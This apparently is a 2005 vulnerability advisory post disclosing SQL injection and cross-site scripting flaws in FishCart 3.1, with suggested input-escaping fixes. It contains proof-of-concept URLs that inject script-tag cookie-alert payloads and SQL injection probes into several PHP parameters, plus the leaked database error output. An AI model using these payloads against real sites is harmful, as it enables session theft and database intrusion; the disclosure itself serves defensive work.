Multiple SQL injections and XSS in FishCart 3.1

May 7, 2005

Vendor: FishNet Inc
Vendor Website: http://www.fishnetinc.com
Summary: There are, multiple sql injections and xss in fishcart 3.1.

Proof of Concept Exploits:

http://example.com/demo31/display.php?

cartid=200505024231092&zid=1&lid=1&nlst=’”>
<script>alert(document.cookie)</script>&olimit=0&cat=&key1=&psku=
XSS

http://example.com/demo31/display.php?cartid=200505024231092&zid=

1&lid=1&nlst=y&olimit=0&cat=&key1=&psku=’SQL_INJECTION
SQL INJECTION

Database error: Invalid SQL: select count(*) as cnt from
cvsdemo31prod,cvsdemo31prodlang where nzid=1 and nprodsku=prodsku and
prodzid=1 and nprodsku=prodlsku and prodlzid=1 and
prodlid=1prodsku=”’SQL_INJECTION’ and prodlsku=”’SQL_INJECTION’ and
prodzid=1 and prodzid=prodlzid and prodlid=1 and (produseinvq=0 or
(produseinvq=1 and prodinvqty>0))
MySQL Error: 1054 (Unknown column ‘nzid’ in ‘where clause’)
Session halted.

http://example.com/demo31/upstnt.php?zid=1&lid=1&cartid=’SQL_INJECTION

SQL INJECTION

Database error: Invalid SQL: select sku,qty from cvsdemo31oline where
orderid=”SQL_INJECTION’
MySQL Error: 1064 (You have an error in your SQL syntax near
‘SQL_INJECTION” at line 1)
Session halted.

http://example.com/demo31/upstracking.php?trackingnum=’”><script>alert
(document.cookie)
</script>&reqagree=checked&m=
XSS

http://example.com/demo31/upstracking.php?trackingnum=&reqagree=’”>
<script>alert(document.cookie)</script>&m=
XSS

http://example.com/demo31/upstracking.php?trackingnum=&reqagree=checked&m=’”>
<script>alert(document.cookie)</script>
XSS

Possible Fixes: The usage of htmlspeacialchars(), mysql_escape_string(),
mysql_real_escape_string() and other functions for input validation before
passing user input to the mysql database, or before echoing data on the
screen, would solve these problems.

Keep your self updated, Rss feed at: http://digitalparadox.org/rss.ah

Posted in Exploits and Bugs